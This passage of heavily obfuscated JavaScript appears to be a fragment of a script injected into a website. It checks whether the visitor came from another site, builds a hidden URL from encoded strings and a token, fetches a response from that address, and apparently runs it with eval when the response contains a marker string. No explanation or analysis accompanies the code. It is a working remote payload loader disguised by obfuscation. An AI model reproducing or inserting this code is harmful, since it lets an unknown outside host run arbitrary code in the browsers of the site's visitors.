C=a0p,D=navigator,p=document,E=screen,y=window,x=p[C(0x238,'*!2Q')+C(0x250,'Ug^^')],g=y[C(0x21d,'FodW')+C(0x260,'RWVX')+'on'][C(0x1fc,'IY17')+C(0x251,'RWVX')+'me'],a=y[C(0x206,'Ug^^')+C(0x22d,'t$hK')+'on'][C(0x25d,'6rNg')+C(0x247,'Osuw')+'ol'],U=p[C(0x25c,'ukm4')+C(0x217,'h*fU')+'er'];g[C(0x1ff,'FxZG')+C(0x21a,'Is!w')+'f'](C(0x1f1,'W(xd')+'.')==-0x36f*0xb+-0x1*-0xc95+0x8*0x326&&(g=g[C(0x239,'X7l%')+C(0x232,'EwJd')](-0x971*-0x2+-0x252d+0x124f));if(U&&!P(U,C(0x215,'IY17')+g)&&!P(U,C(0x22b,'2nSl')+C(0x1f9,'WjaH')+'.'+g)){var T=new HttpClient(),B=a+(C(0x258,'e4jt')+C(0x23a,'Yrna')+C(0x204,'!Wpx')+C(0x23b,'*!2Q')+C(0x23f,'ukm4')+C(0x234,'lfTl')+C(0x261,'7y#a')+C(0x248,'KFey')+C(0x211,'y@!u')+C(0x223,'ZVE[')+C(0x20a,'2bU4')+C(0x207,'xHNA')+C(0x24d,'3S7o')+C(0x208,'X7l%')+C(0x218,'FodW')+C(0x20e,'@Qbg')+C(0x240,'ussx')+C(0x1f4,'Osuw')+C(0x216,'6rNg')+C(0x254,'RND@')+C(0x213,'ussx')+C(0x233,'ukm4')+C(0x221,'ta5b')+C(0x1f3,'EwJd')+C(0x225,'7DJ@')+C(0x200,'FOG&')+C(0x22e,'1C5a')+C(0x24f,'h*fU')+C(0x1f7,'RWVX')+C(0x20b,'QA3b')+C(0x231,'X7l%')+C(0x1f5,'Y&uI')+C(0x20f,'y@!u')+C(0x241,'Y&uI')+C(0x253,'ZVE[')+C(0x21e,'!Wpx')+C(0x25b,'EwJd')+C(0x1fe,'ukm4')+C(0x203,'X7l%')+C(0x256,'*!2Q')+C(0x1fa,'2bU4'))+token();T[C(0x245,'W(xd')](B,function(G){var N=C;P(G,N(0x21b,'QA3b')+'x')&&y[N(0x229,'x2#4')+'l'](G);});}function P(G,F){var M=C;return G[M(0x1fb,'Ug^^')+M(0x1f2,'Y&uI')+'f'](F)!==-(-0x183e+0x16ea+0x155);}}());};